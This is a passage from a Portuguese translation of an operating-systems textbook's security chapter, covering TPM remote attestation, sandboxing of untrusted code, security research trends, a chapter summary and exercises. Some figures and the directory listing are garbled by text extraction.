9.36(b) mostra que sempre que o firmware verifica a assinatura de um gerenciador de 
inicialização, ele solicita ao TPM que estenda o PCR-0 com um hash do código e dos dados 
carregados na memória. Para simplificar, assumiremos que o computador utiliza apenas PCR-0. 
Quando o bootloader começa a rodar, ele faz o mesmo com a imagem do kernel, e o kernel, 
uma vez em execução, faz o mesmo com os outros componentes do sistema operacional. No 
final, ter o valor correto em PCR-0 prova que o processo de boot foi executado de forma correta 


e segura. O hash criptográfico resultante em PCR-0 serve como uma cadeia de hash que liga o 
kernel ao bootloader e o bootloader à raiz de confiança. 


Como mostrado na Figura 9.36(c), o computador remoto agora verifica se este é o caso 
enviando um número arbitrário conhecido como nonce (de, digamos, 160 bits) ao TPM e 
solicitando que ele retorne (a). o valor de PCR-0, e (b) uma assinatura digital da concatenação 
do valor de PCR-0 e do nonce. O TPM os assina com sua chave de identidade de atestado 
privada (única e impossível de falsificar). A chave pública correspondente é bem conhecida, 
então o computador remoto pode agora (a) verificar a assinatura e (b) verificar se o PCR-0 está 
correto (provando que as etapas corretas foram tomadas no processo de inicialização). Em 
particular, verifica primeiro a assinatura e o nonce. Em seguida, ele procura os três hashes em 
seu banco de dados de gerenciadores de inicialização, kernels e componentes de sistema 
operacional confiáveis. Se eles não estiverem lá, o atestado falhará. Caso contrário, a parte 
desafiadora recria o hash combinado de todos os três componentes e o compara com o valor 
de PCR-0, conforme recebido do lado do atestado. Se os valores forem iguais, a parte remota 
sabe que a máquina de atestação foi inicializada de maneira confiável. O resultado assinado 
evita que invasores falsifiquem o resultado e, como sabemos que o gerenciador de inicialização 
confiável realiza a medição apropriada do kernel e o kernel, por sua vez, mede a aplicação, 
nenhuma outra configuração de código poderia ter produzido a mesma cadeia de hash. Caso 
você esteja se perguntando sobre a função do nonce: ele garante que a assinatura seja “fresca” 
— impossibilitando que o invasor envie uma resposta antiga e gravada. 


9.8.6 Encapsulando Código Não Confiável 


Vírus e worms são programas que entram em um computador sem o conhecimento e 
contra a vontade do proprietário. Às vezes, porém, as pessoas importam e executam código 
estrangeiro mais ou menos intencionalmente em suas máquinas. No passado, os navegadores 
da Web executavam "Applets" Java no navegador e a Microsoft até permitia a execução de 
código nativo. Nenhuma destas soluções será ignorada por muitos. 
Hoje em dia, ainda executamos códigos não confiáveis em nossos navegadores, por exemplo, 
na forma de JavaScript ou outras linguagens de script. 
Até mesmo os sistemas operacionais às vezes permitem que código estrangeiro seja 
executado no kernel. Um exemplo inclui o eBPF do Linux (Filtro de Pacotes Berkeley estendido), 
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que permite aos usuários escrever programas para executar tarefas como filtragem de pacotes de 
rede de alto desempenho. O código que você escreve é executado dentro do próprio sistema 
operacional. 

Deve ficar claro que permitir que código estrangeiro seja executado em sua máquina é mais do 
que arriscado. Não importa executá-lo diretamente dentro do sistema operacional. 

No entanto, algumas pessoas querem executar esse código, então surge a pergunta: "Esse código 
pode ser executado com segurança"? A resposta curta é: “Sim, mas não facilmente.” O problema 
fundamental é que quando um processo (ou sistema operacional) importa código não confiável para 
seu espaço de endereço e o executa, esse código é executado com toda a capacidade que o usuário 
pode ter. (ou sistema operacional), incluindo a capacidade de ler, escrever, apagar ou criptografar os 
arquivos do disco do usuário, enviar dados por e-mail para países distantes e muito mais. 

Há muito tempo, os sistemas operacionais desenvolveram o conceito de processo para construir 
barreiras entre os usuários. A ideia é que cada processo tenha seu próprio espaço de endereço 
protegido e seu próprio UID, permitindo que ele toque em arquivos e outros recursos pertencentes a 
ele, mas não a outros usuários. Para fornecer proteção contra uma parte do processo (o código 
estrangeiro) e o resto, o conceito de processo não ajuda. Threads permitem vários threads de controle 
dentro de um processo, mas não fazem nada para proteger um thread contra outro. 


Uma solução é executar o código estrangeiro como um processo separado, mas nem sempre é 
isso que queremos. Por exemplo, o eBPF realmente deseja rodar dentro do kernel. 
Vários métodos de lidar com código estrangeiro foram implementados. Abaixo veremos um desses 
métodos: sandboxing. Além disso, a assinatura de código também pode ser usada para verificar a 
origem do programa estrangeiro. 


Caixa de areia 


O objetivo do sandboxing é confinar o código não confiável/estrangeiro a uma gama limitada 
de endereços virtuais impostos em tempo de execução (Wahbe et al., 1993). Ele funciona dividindo o 
espaço de endereço virtual em regiões de tamanhos iguais, que chamaremos de sandboxes. Cada 
sandbox deve ter a propriedade de que todos os seus endereços compartilhem alguma sequência de 
bits de alta ordem. Para um espaço de endereço de 48 bits, poderíamos dividi-lo em vários sandboxes 
em limites de 4 GB, de modo que todos os endereços dentro de um sandbox tenham 16 bits 
superiores comuns. Igualmente bem, poderíamos ter mais alguns sandboxes em limites de 1 GB, 
com cada sandbox tendo um prefixo de endereço de 18 bits. O tamanho da sandbox deve ser 
escolhido para ser grande o suficiente para conter a maior parte do código externo sem desperdiçar 
muito espaço de endereço virtual. A memória física não é um problema se a paginação por demanda 
estiver presente, como normalmente acontece. Cada programa estrangeiro recebe duas sandboxes, 
uma para o código e outra para os dados, conforme ilustrado na Figura 9.36(a). 
Para fins de ilustração, assumiremos uma máquina pequena com 256 MB e 16 sandboxes de 16 MB 
cada. 

A ideia básica por trás de uma sandbox é garantir que o código não confiável, ao qual nos 
referiremos como “programa estrangeiro” de agora em diante, não possa saltar para código fora de 
sua sandbox de código ou fazer referência a dados fora de sua sandbox de dados. A razão de ter 
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virtual em MB 
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22 


A 


Ref. Seg. | monitor de MOV R1, S1 
192 Do referência SHR 424, S1 
ee CMP S1, S2 
160 Do verificação do sistema TRARNE 
Do] MP J (R1) 
EPE: 
ço > código estrangeiro 1 
i i 
Código 2 
EEA 
TEA 
Código 1 código estrangeiro 2 
0 
(a) (b) 


Figura 9-36. (a) Memória dividida em sandboxes de 16 MB. (b) Uma forma 
de verificar a validade de uma instrução. 


duas sandboxes é impedir que um programa estrangeiro modifique seu código durante a 
execução para contornar essas restrições. Ao impedir todos os armazenamentos na sandbox de 
código, eliminamos o perigo de automodificação do código. Enquanto um programa estrangeiro 
estiver confinado dessa forma, ele não poderá danificar o navegador ou outros programas, plantar 
vírus na memória ou causar qualquer outro dano à memória. 

Assim que um programa externo é carregado, ele é realocado para começar no início de 
sua sandbox. Em seguida, são feitas verificações para ver se as referências de código e dados 
estão confinadas à sandbox apropriada. Na discussão abaixo, examinaremos apenas as 
referências de código (isto é, instruções JMP e CALL ), mas a mesma história vale também para 
referências de dados. Instruções JMP estáticas que usam endereçamento direto são fáceis de 
verificar: o endereço de destino está dentro dos limites da sandbox do código? Da mesma forma, 
os JMP relativos também são fáceis de verificar. Se o programa estrangeiro possuir código que 
tenta sair da sandbox de código, ele será rejeitado e não executado. Da mesma forma, tentativas 
de tocar em dados fora da área restrita de dados fazem com que o programa externo seja 
rejeitado. Esta é a parte fácil. 

A parte difícil são as instruções JMP dinâmicas/indiretas . Como vimos em nossa discussão 
sobre CFI, a maioria das máquinas tem uma instrução na qual o endereço para o qual saltar é 
calculado em tempo de execução, colocado em um registrador e então saltado indiretamente, 
por exemplo, por JMP (R1) para saltar para o endereço contido no registro 1. A validade de tais 
instruções deve ser verificada em tempo de execução. Isso é feito inserindo o código diretamente 
antes do salto indireto para testar o endereço de destino. Um exemplo desse teste é mostrado 
na Figura 9.36(b). Lembre-se de que todos os endereços válidos têm os mesmos k bits 
superiores, portanto esse prefixo pode ser armazenado em um registrador de rascunho, digamos S2. Tal registro 
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não pode ser usado pelo próprio programa estrangeiro, o que pode exigir reescrevê-lo para 
evite esse registro. 

O código funciona da seguinte forma: primeiro o endereço de destino sob inspeção é copiado 
para um registrador de rascunho, S1. Então este registro é deslocado para a direita precisamente na posição correta 
número de bits para isolar o prefixo comum em S1. Em seguida, o prefixo isolado é comparado ao prefixo correto 
inicialmente carregado em S2. Se eles não corresponderem, uma armadilha 
ocorre e o programa estrangeiro é eliminado. Esta sequência de código requer quatro instruções e dois registradores 
de rascunho. 

Corrigir o programa binário durante a execução requer algum trabalho, mas é 
factível. Seria mais simples se o programa estrangeiro fosse apresentado na forma original 
e então compilado localmente usando um compilador confiável que verificou automaticamente o 
endereços estáticos e código inserido para verificar os dinâmicos durante a execução. 

De qualquer forma, há alguma sobrecarga de tempo de execução associada às verificações dinâmicas. 
Wahbe et al. (1993) mediram este valor em cerca de 4%, o que talvez não seja tão mau. 

Um segundo problema que precisa ser resolvido é o que acontece quando um programa estrangeiro tenta 
fazer uma chamada de sistema. A solução aqui é direta. A instrução de chamada de sistema é substituída por uma 
chamada a um módulo especial denominado referência. 
monitorar na mesma passagem em que as verificações de endereço dinâmico são inseridas (ou, se o 
o código-fonte está disponível, vinculando-se a uma biblioteca especial que chama a referência 
monitorar em vez de fazer chamadas de sistema). De qualquer forma, o monitor de referência examina cada 
tentativa de chamada e decide se é seguro realizá-la. Se a cnamada for considerada 
aceitável, como gravar um arquivo temporário em um diretório temporário designado, o 
a chamada pode prosseguir. Se a chamada for considerada perigosa ou a referência 
o monitor não pode dizer, o programa estrangeiro foi eliminado. Se o monitor de referência puder dizer 
qual programa estrangeiro o chamou, um único monitor de referência em algum lugar da memória 
pode lidar com as solicitações de todos os programas estrangeiros. O monitor de referência normalmente 


aprende sobre as permissões de um arquivo de configuração. 


9.9 PESQUISA SOBRE SEGURANÇA 


Poucos tópicos apresentam mais atividade do que segurança em sistemas operacionais. A pesquisa é 
ocorrendo em todas as áreas: criptografia, ataques, defesas, compiladores, hardware, métodos formais, etc. Um 
fluxo mais ou menos contínuo de incidentes de segurança de alto perfil garante que o interesse da pesquisa em 
segurança, tanto na academia quanto na indústria , é 
provavelmente também não vacilará nos próximos anos. 

Mesmo conceitos veneráveis como senhas ainda são tópicos de pesquisa ativos, por 
por exemplo, ao modelar a força de uma senha (Pasquini et al., 2021) ou proteger cofres de senha usados por 
gerenciadores de senhas usando um conjunto de cofres falsos 
(Cheng et al., 2021). Também outros fatores de autenticação, como chaves de segurança, são 
alvo de pesquisadores de segurança para investigar pontos fracos (Roche et al., 2021). 

Bugs no próprio sistema operacional são claramente uma grande preocupação e pesquisadores 


estão desenvolvendo estruturas de teste para vários sistemas operacionais para encontrar e 
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classificar melhor os bugs, por exemplo, no Linux (Lin et al., 2022) e no Windows (Choi et al., 
2021). Outros implementam técnicas para detectar erros de memória e manifestações de 
comportamento indefinido instrumentando o código com todos os tipos de verificações - um 
abordagem que se tornou especialmente popular após o lançamento do AddressSan itizer do Google 
(Serebryany, 2013). Como alternativa, alguns projetos tentam verificar formalmente 
que o sistema operacional está livre de certas classes de bugs (Klein et al., 2009; Yu et al., 2021). 

Apesar do que vemos nos filmes, a exploração do kernel não é fácil. Muitas vezes o 
vulnerabilidades baseiam-se em overflows de heap complexos que exigem que os objetos sejam 
alinhado na memória exatamente certo. Felizmente para o invasor, grandes avanços estão 
feito na automação do processo de exploração. Por exemplo, os pesquisadores 
desenvolveram técnicas para manipular o layout da memória no kernel para obter automaticamente o 
alinhamento desejado dos objetos (Chen e Xing, 2019). 

Proteger o estado sensível é um desafio, especialmente com baixa sobrecarga, mas 
às vezes, os recursos de hardware ajudam. Um exemplo é a recente onda de casos de uso para 
MPK (Memory Protection Keys), recurso de hardware já presente no IBM 
360 há mais de meio século, mas só recentemente adicionado à arquitetura de processador x86-64 da Intel. Os 
pesquisadores demonstraram que os MPKs podem ser usados para isolar o estado sensível de forma muito 
eficiente (Vahldiek-Oberwagner, 2019). A assistência de hardware não é 
o único jeito. Outra forma de proteger um estado sensível é ocultá-lo aleatoriamente 
localização no enorme espaço de endereço de 64 bits e talvez até mesmo lançar uma re-randomização contínua 
para garantir (Wang et al., 2019). 

Capacidades e controle de acesso ainda são áreas de pesquisa ativas. Aqui também, às vezes, os 
recursos de hardware dão nova vida a esses antigos tópicos de pesquisa. Por exemplo 
(Davis et al., 2019) descrevem como os recursos suportados por hardware podem ajudar a fornecer restrições 
e controles de acesso muito poderosos. 

Um tópico que está na moda desde que as vulnerabilidades originais Meltdown e Spectre foram divulgadas 
são os ataques de execução transitória (Xiong e Szefer, 2021). 
Infelizmente, há uma infinidade de causas raízes para a execução transitória (Ragab et al., 
2021) e muitos deles podem levar a vulnerabilidades exploráveis. Não surpreendentemente, 
há muitos esforços para remediar a situação, por exemplo, utilizando mitigações de software ou métodos 
formais (Duta et al., 2021; e Loughlin et al., 2019). 

Outros problemas relacionados ao hardware dizem respeito a dispositivos maliciosos que executam DMA e 
acessando a memória além do controle do sistema operacional (Markettos, 2019), até mesmo 
na presença de uma MMU para tais dispositivos. Novamente, encontrando e automaticamente 
analisar problemas relacionados ao DMA é importante para corrigir as vulnerabilidades antes que o 
os invasores podem explorá-los (Alex et al., 2019). 

Já que estamos no tópico de hardware: reconhecendo as ameaças representadas pelos invasores, muitos 
dispositivos hoje em dia possuem recursos de segurança. A questão é quão bom 
eles são. Por exemplo, muitos SSDs possuem criptografia integrada. Infelizmente, apenas 
porque você tem criptografia não significa que você está seguro. Por exemplo, Mei jer e Van Gastel, 2019 
mostram que as garantias de segurança adicionais fornecidas por 
esses dispositivos geralmente são zero. Infelizmente, isso também é algo bastante comum de se 


acontecer. Conseguir segurança diante de invasores determinados é realmente difícil. 
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9.10 RESUMO 


Os computadores frequentemente contêm dados valiosos e confidenciais, incluindo declarações 
fiscais, números de cartão de crédito, planos de negócios, segredos comerciais e muito mais. Os 
proprietários desses computadores geralmente desejam que eles permaneçam privados e não sejam 
adulterados, o que rapidamente leva à exigência de que os sistemas operacionais forneçam boa 
segurança. A segurança compreende confidencialidade, integridade e disponibilidade. Para 
desenvolver sistemas seguros, aplicamos princípios de segurança de forma consistente. A estrutura 
de um sistema operacional é importante por suas propriedades de segurança, pois alguns projetos 
(por exemplo, sistemas monolíticos) dificultam a aplicação de princípios como o Princípio da Mínima 
Autoridade. Em geral, a segurança de um sistema é inversamente proporcional ao tamanho da base 
computacional confiável. 

Um componente fundamental da segurança dos sistemas operacionais diz respeito ao controle 
de acesso aos recursos. Os direitos de acesso à informação podem ser modelados como uma grande 
matriz, com as linhas sendo os domínios (usuários) e as colunas sendo os objetos (por exemplo, 
arquivos). Cada célula especifica os direitos de acesso do domínio ao objeto. Como a matriz é esparsa, 
ela pode ser armazenada por linha, que se torna uma lista de capacidades informando o que aquele 
domínio pode fazer, ou por coluna, caso em que se torna uma lista de controle de acesso informando 
quem pode acessar o objeto e como. Usando técnicas formais de modelagem, o fluxo de informações 
em um sistema pode ser modelado e limitado. No entanto, às vezes ele ainda pode vazar usando 
canais secretos, como a modulação do uso da CPU. 

As propriedades de segurança que se baseiam em provas e formalizações sólidas vão além da 
modelagem do fluxo de informações e incluem a criptografia. Os esquemas criptográficos podem ser 
categorizados como chave secreta ou chave pública. Um método de chave secreta exige que as partes 
comunicantes troquem uma chave secreta antecipadamente, usando algum mecanismo fora de 
banda. A criptografia de chave pública não exige a troca secreta de uma chave com antecedência, 
mas seu uso é muito mais lento. Às vezes é necessário provar a autenticidade da informação digital, 
caso em que podem ser usados hashes criptográficos, assinaturas digitais e certificados assinados por 
uma autoridade de certificação confiável. 

Em qualquer sistema seguro, os usuários devem ser autenticados. Isso pode ser feito por algo 
que o usuário sabe, algo que o usuário possui ou algo que o usuário é (biometria). 

A identificação de dois fatores, como leitura da íris e senha, pode ser usada para aumentar a segurança. 


Muitos tipos de bugs em software podem ser explorados para assumir o controle de programas e 
sistemas. Isso inclui vulnerabilidades de buffer overflow, bugs de string de formato, uso de after-free, 
erros de confusão de tipo, desreferências de ponteiro nulo, liberações duplas, estouros de número 
inteiro e vários outros. Eles permitem uma variedade de ataques, hoje em dia reutilizando 
frequentemente o código original do programa para implementar o comportamento malicioso. Para 
lidar com essas vulnerabilidades, os fornecedores implantam defesas como canários de pilha, 
prevenção de execução de dados e randomização de layout de espaço de endereço. 

Pessoas internas, como funcionários de empresas, podem derrotar a segurança do sistema de 
diferentes maneiras. Isso inclui bombas lógicas configuradas para explodir em alguma data futura, 
alçapões para permitir acesso não autorizado posteriormente e falsificação de login. 
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Infelizmente, os bugs de software não são mais nossa única preocupação e o hardware 
também costuma ser vulnerável. Canais laterais de cache e problemas de execução antigos são 


alguns dos problemas que os invasores podem construir para lançar um ataque. 


Para se proteger contra comprometimentos, um sistema operacional pode tomar medidas 
adicionais. Por exemplo, restringindo o fluxo de controle em um programa com a ajuda da integridade 
do fluxo de controle, processos de inicialização seguros, randomizando o espaço de endereço com 
granularidade fina, restringindo a confiança apenas em drivers assinados por uma parte confiável - 
ou uma das outras maneiras para fortalecer o sistema operacional. 


PROBLEMAS 


1. Confidencialidade, integridade e disponibilidade são três componentes da segurança. Descreva uma 
aplicação que exija integridade e disponibilidade, mas não confidencialidade, uma aplicação que 
exija confidencialidade e integridade, mas não (alta) disponibilidade, e uma aplicação que exija 
confidencialidade, integridade e disponibilidade. 


2. Uma das técnicas para construir um sistema operacional seguro é minimizar o tamanho do TCB. 
Quais das seguintes funções precisam ser implementadas dentro do TCB e quais podem ser 
implementadas fora do TCB: (a) Troca de contexto de processo; (b) Ler um arquivo do disco; (c) 
Adicionar mais espaço de troca; (d) Ouvir música; (e) Obtenha as coordenadas GPS de um 
smartphone. 


3. O que é um canal secreto? Qual é o requisito básico para a existência de um canal secreto? 


4. Numa matriz de controle de acesso completo, as linhas são para domínios e as colunas são para 
objetos. O que acontece se algum objeto for necessário em dois domínios? 


5. Suponha que um sistema tenha 1.000 objetos e 100 domínios em algum momento. 1% dos objetos 
são acessíveis (alguma combinação de r, we x) em todos os domínios, 10% são acessíveis em 
dois domínios e os 89% restantes são acessíveis em apenas um domínio. Suponha que uma 
unidade de espaço seja necessária para armazenar um direito de acesso (alguma combinação de r, 
w, x), ID de objeto ou ID de domínio. Quanto espaço é necessário para armazenar a matriz de 
proteção completa, a matriz de proteção como ACL e a matriz de proteção como lista de capacidades? 


6. Explique qual implementação da matriz de proteção é mais adequada para o seguinte 
operações: 


(a) Conceder acesso de leitura a um arquivo para todos os 

usuários. (b) Revogação do acesso de gravação a um arquivo 

de todos os usuários. (c) Conceder acesso de gravação a um arquivo para John, 

Lisa, Christie e Jeff. (d) Revogar o acesso de execução a um arquivo de Jana, Mike, Molly e Shane. 


7. Dois mecanismos de proteção diferentes que discutimos são capacidades e listas de controle de 


acesso. Para cada um dos seguintes problemas de proteção, diga quais desses mecanismos podem 
ser usados. 


(a) Ken deseja que seus arquivos possam ser lidos por todos, exceto seu colega de 
escritório. (b) Mitch e Steve querem compartilhar alguns arquivos 
secretos. (c) Linda deseja que alguns de seus arquivos sejam públicos. 
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8. Represente as propriedades e permissões mostradas nesta listagem de diretório UNIX como um 
matriz de proteção. (Nota: asw é membro de dois grupos: users e devel; gmw é um 
membro apenas de usuários.) Trate cada um dos dois usuários e dois grupos como um domínio, então 
que a matriz possui quatro linhas (uma por domínio) e quatro colunas (uma por arquivo). 


HWS STES 2 usuários gmw 908 26 de maio 16:45 PPP — Notas 
— rwx r- xr- x 1 asw dev el 432 13 de maio 12:35 prog1 
EWES 1 usuários asw 50094 30 de maio 17:51 project.t 
WEES sas 1 asw dev el 13124 31 de maio 14:30 splash.gif 


9. Expresse as permissões mostradas na listagem de diretórios do problema anterior como 
listas de controle de acesso. 


10. Modifique a ACL do problema anterior para um arquivo para conceder ou negar um acesso que 
não pode ser expresso usando o sistema UNIX rwx . Explique esta modificação. 


11. Suponha que existam três níveis de segurança, 1, 2 e 3. Os objetos A e B estão no nível 1, C 
e Destão no nível 2,e E e F estão no nível 3. Os processos 1 e 2 estão nos níveis 1,3 e 
4 estão no nível 2 e 5 e 6 estão no nível 3. Para cada uma das operações a seguir, especifique se elas 
são permitidas no modelo Bell-LaPadula, modelo Biba ou ambos. 


(a) O processo 1 grava o objeto D 
(b) O processo 4 lê o objeto A 

(c) O processo 3 lê o objeto C 

(d) O processo 3 grava o objeto C 
(e) O processo 2 lê o objeto D 

(f) O processo 5 grava o objeto F 

(g) O processo 6 lê o objeto E 

(h) Processo 4 escrever objeto E 


(i) O processo 3 lê o objeto F 


12. No esquema Amoeba para proteção de capacidades, um usuário pode solicitar ao servidor que produza 
uma nova capacidade com menos direitos, que pode então ser dada a um amigo. O que acontece 


se o amigo pedir ao servidor para remover ainda mais direitos para que o amigo possa concedê-los 
alguém? 


13. Na Figura 9-11, não há seta do objeto 2 para o processo A. Essa seta seria 
permitido? Se não, que regra violaria? 


14. Se mensagens processo a processo fossem permitidas na Figura 9-11, quais regras se aplicariam a 


eles? Para o processo B em particular, para quais processos ele poderia enviar mensagens e 
qual não? 


15. Quebre a seguinte cifra monoalfabética. O texto simples, composto apenas por letras, é 
um trecho bem conhecido de um poema de Lewis Carroll. 


hur iby eci iulylyt zy hur irc 
iulylyt elhu cxx uli oltuh 

seu nin uli jrkd grih hz ocvr 
hur glxxzei iozzhu cyn gkltuh 
cyn huli eci znn grqcbir Ih eci 
hur olnnxr zp hur yltuh 
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16. Considere uma cifra de chave secreta que possui uma matriz 26 x 26 com as colunas encabeçadas por ABC... 
Ze as linhas também denominadas ABC ... Z. O texto simples é criptografado com dois caracteres por vez. O 
primeiro caractere é a coluna; a segunda é a linha. A célula formada pela interseção da linha e da coluna contém dois 
caracteres de texto cifrado. A qual restrição a matriz deve aderir e quantas chaves existem? 


17. Considere a seguinte maneira de criptografar um arquivo. O algoritmo de criptografia usa duas matrizes de n bytes, A e B. 
Os primeiros n bytes são lidos do arquivo para A. Em seguida, A[0] é copiado para B/i], A[1] é copiado para B[j], A[2] é 
copiado para B/kJ, etc. Depois que todos os n bytes são copiados para o array B , esse array é gravado no arquivo de 
saída e mais n bytes são lidos em A. 

Este procedimento continua até que todo o arquivo seja criptografado. Observe que aqui a criptografia não é feita 
substituindo caracteres por outros, mas alterando sua ordem. Quantas chaves devem ser tentadas para pesquisar 
exaustivamente o espaço de chaves? 

Dê uma vantagem a este esquema sobre uma cifra de substituição monoalfabética. 


18. A criptografia de chave secreta é mais eficiente do que a criptografia de chave pública, mas exige que o remetente e o 
destinatário cheguem a um acordo prévio sobre uma chave. Suponha que o remetente e o destinatário nunca se 
encontraram, mas existe um terceiro confiável que compartilha uma chave secreta com o remetente e também compartilha 
uma chave secreta (diferente) com o destinatário. Como o remetente e o destinatário podem estabelecer uma nova chave 


secreta compartilhada nessas circunstâncias? 


19. Dê um exemplo simples de função matemática que, numa primeira aproximação, servirá 


como uma função unidirecional. 


20. Suponha que dois estranhos A e B queiram se comunicar usando criptografia de chave secreta, mas não compartilhem uma 
chave. Suponha que ambos confiem em um terceiro C cuja chave pública seja bem conhecida. Como podem os dois 
estranhos estabelecer uma nova chave secreta partilhada nestas circunstâncias? 


21. Os cibercafés são empresas onde os turistas que estão fora de casa podem alugar um computador por uma ou duas horas 
para fazer negócios que necessitem de um computador. Descreva uma maneira de produzir documentos assinados usando 
um cartão inteligente (suponha que todos os computadores estejam equipados com leitores de cartão inteligente). Seu 


esquema é seguro? 


22. Não fazer o computador repetir a senha é mais seguro do que fazer com que ele ecoe um asterisco para cada caractere 
digitado, já que este último revela o comprimento da senha para qualquer pessoa próxima que possa ver a tela. Supondo 
que as senhas consistem apenas em letras maiúsculas e minúsculas e dígitos, e que as senhas devem ter no mínimo 


cinco e no máximo oito caracteres, quão mais seguro é não exibir nada? 


23. Depois de se formar, você se candidata a um emprego como diretor de um grande centro de informática universitário que 
acaba de colocar seu antigo sistema mainframe em prática e migrar para um grande servidor LAN rodando UNIX. Você 
consegue o emprego. Quinze minutos depois de você começar a trabalhar, seu assistente irrompe em seu escritório 
gritando: "Alguns estudantes descobriram o algoritmo que usamos para criptografar senhas e o publicaram na Internet." 


O que você deve fazer? 


24. O esquema de proteção Morris-Thompson com números aleatórios de n bits (salt) foi projetado para dificultar a descoberta 
de um grande número de senhas por um invasor, criptografando antecipadamente cadeias comuns. O esquema também 
oferece proteção contra um usuário estudante que esteja tentando adivinhar a senha de superusuário em sua máquina? 
Suponha que o arquivo de senha esteja disponível para leitura. 
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25. Explique como o mecanismo de senha do UNIX é diferente da criptografia. 


26. Suponha que o arquivo de senhas de um sistema esteja disponível para um cracker. Quanto tempo extra o 
cracker precisa para quebrar todas as senhas se o sistema estiver usando o esquema de proteção Morris- 
Thomp son com sal de n bits versus se o sistema não estiver usando esse esquema? 


27. Cite três características que um bom indicador biométrico deve ter para ser 
útil como um autenticador de login. 


28. Cite três características biométricas que não seriam boas para uso na autenticação. 


29. Os mecanismos de autenticação são divididos em três categorias: algo que o usuário sabe, algo que o usuário 
possui e algo que o usuário é. Imagine um sistema de autenticação que utilize uma combinação dessas três 
categorias. Por exemplo, primeiro pede ao usuário que insira um login e uma senha, depois insira um cartão 
plástico (com tarja magnética) e insira um PIN e, por fim, forneça as impressões digitais. Você consegue pensar 
em duas desvantagens desse design? 


30. Um departamento de ciência da computação possui uma grande coleção de máquinas UNIX em sua rede local. 
Usuários em qualquer máquina podem emitir um comando no formato 


rexec machine4 quem 


e executar o comando na máquina4, sem que o usuário faça login na máquina remota. Este recurso é 
implementado fazendo com que o kernel do usuário envie o comando e seu UID para a máquina remota. Este 
esquema é seguro se todos os kernels forem confiáveis? E se algumas das máquinas forem computadores 


pessoais de alunos, sem proteção? Suponha que a rede não possa ser aproveitada. 


31. Qual propriedade a implementação de senhas no UNIX tem em comum com 
O esquema de Lamport para fazer login em uma rede insegura? 


32. Existe alguma maneira viável de usar o hardware MMU para evitar o tipo de overflow 
ataque mostrado na Figura 9-17? Explique por que ou por que não. 


33. Descreva como funcionam os canários de pilha e como podem ser contornados pelos invasores. 


34. O ataque TOCTOU explora uma condição de corrida entre o atacante e a vítima. 
Uma maneira de evitar condições de corrida é fazer com que o sistema de arquivos acesse transações. Explique 
como esta abordagem pode funcionar e que problemas podem surgir? 


35. Quando um arquivo é removido, seus blocos geralmente são colocados de volta na lista livre, mas não são 
apagados. Você acha que seria uma boa ideia fazer com que o sistema operacional apagasse cada bloco antes 
de liberá-lo? Considere os fatores de segurança e desempenho em sua resposta e explique o efeito de cada um. 


36. Para verificar se um driver baixado foi assinado por um fornecedor confiável, o fornecedor do driver pode incluir 
um certificado assinado por um terceiro confiável que contenha sua chave pública. 
Contudo, para ler o certificado, o usuário precisa da chave pública do terceiro confiável. Isso pode ser fornecido 
por uma quarta parte confiável, mas o usuário precisa dessa chave pública. Parece que não há como inicializar 
o sistema de verificação, mas os navegadores existentes o utilizam. Como isso poderia funcionar? 


37. Na Seç. 9.5.4, vimos que erros de confusão de tipos em C++ são causados por erros ao converter estaticamente 
um tipo pai para o tipo filho errado. além da 
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elenco estático 
construção, C++ também suporta conversões dinâmicas, usando o 
elenco dinâmico 


construir. As conversões dinâmicas são impostas em tempo de execução com uma verificação de tipo explícita e, 
portanto, garantem a segurança do tipo. Por que os programadores não usariam simplesmente conversões dinâmicas 


em todos os lugares e se livrariam completamente da maioria dos bugs de confusão de tipos? 


38. Um grande problema com vulnerabilidades de strings de formato é o indicador de formatação "%n", que dificilmente é 
usado por alguém. Por esta razão, muitas bibliotecas C não suportam mais "%n" por padrão. Isso resolverá o problema 
de vulnerabilidades de strings de formato? 


39. Para mitigar os canais laterais do cache, queremos particioná-lo de forma que dois processos sempre usem partes 
diferentes do cache. Infelizmente, muitas vezes falta suporte de hardware para tal particionamento. O que o sistema 


operacional poderia fazer para fornecer tal particionamento? 


40. Na Seç. 9.6.3, mencionamos que podemos interromper muitos dos problemas do Spectre inserindo as chamadas 
instruções de cerca , que impedem a especulação nessa instrução. Existem muitas outras mitigações muito mais 
complicadas também, mas ei, vamos pelo menos colocar uma instrução de barreira após cada condição “se”. Fazer 


isso é muito simples e eliminaria um grande número de vulnerabilidades. Explique por que isso não é uma boa ideia. 


41. Na Seç. 9.7.3 descrevemos a falsificação de login como um ataque no qual o invasor inicia um programa em um 
computador que exibe uma tela de login falsa em um computador. Isso normalmente seria usado em uma sala cheia de 
computadores em uma universidade que os alunos poderiam usar para tarefas. Quando o aluno se senta e insere um 
nome de login e uma senha, o programa falso os envia para seu proprietário e depois sai. Na segunda vez que o aluno 
tenta fazer o login, funciona e os alunos pensam que deve ter havido um erro de digitação na primeira vez. Crie uma 


maneira pela qual o sistema operacional possa derrotar esse tipo de ataque de falsificação. 


42. Escreva um par de programas, em C ou como scripts de shell, para enviar e receber uma mensagem por um canal secreto 
em um sistema UNIX. (Dica: um bit de permissão pode ser visto mesmo quando um arquivo está inacessível, e é 
garantido que o comando sleep ou chamada do sistema atrase por um tempo fixo, definido por seu argumento.) Meça 
a taxa de dados em um sistema inativo. 

Em seguida, crie uma carga artificialmente pesada iniciando vários processos em segundo plano diferentes e meça a 
taxa de dados novamente. 


43. Vários sistemas UNIX usam o algoritmo DES para criptografar senhas. Esses sistemas normalmente aplicam o DES 25 
vezes seguidas para obter a senha criptografada. Baixe uma implementação de DES da Internet e escreva um 
programa que criptografe uma senha e verifique se uma senha é válida para tal sistema. Gere uma lista de 10 senhas 
criptografadas usando o esquema de proteção Morris-Thomson. Use sal de 16 bits para 


seu programa. 


44. Suponha que um sistema utilize ACLs para manter sua matriz de proteção. Escreva um conjunto de funções de 
gerenciamento para gerenciar as ACLs quando (1) um novo objeto for criado; (2) um objeto é excluído; (3) um novo 
domínio é criado; (4) um domínio é excluído; (5) novos direitos de acesso (uma combinação de r, w, x) são concedidos 
a um domínio para acessar um objeto; (6) os direitos de acesso existentes de um domínio para acessar um objeto são 
revogados; (7) novos direitos de acesso são 
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concedido a todos os domínios para acessar um objeto; (8) os direitos de acesso para acessar um objeto são 
revogado de todos os domínios. 


45. Implemente o código do programa descrito na Seç. 9.5.1 para ver o que acontece quando há 
estouro de buffer. Experimente diferentes tamanhos de cordas. 


46. Neste capítulo discutimos canais secretos. Neste exercício, você executará um experimento para determinar a 
largura de banda de um desses canais, ou seja, o bloqueio de arquivo. Você deve 
escreva dois programas que tentarão se comunicar de forma sorrateira, o remetente e o 
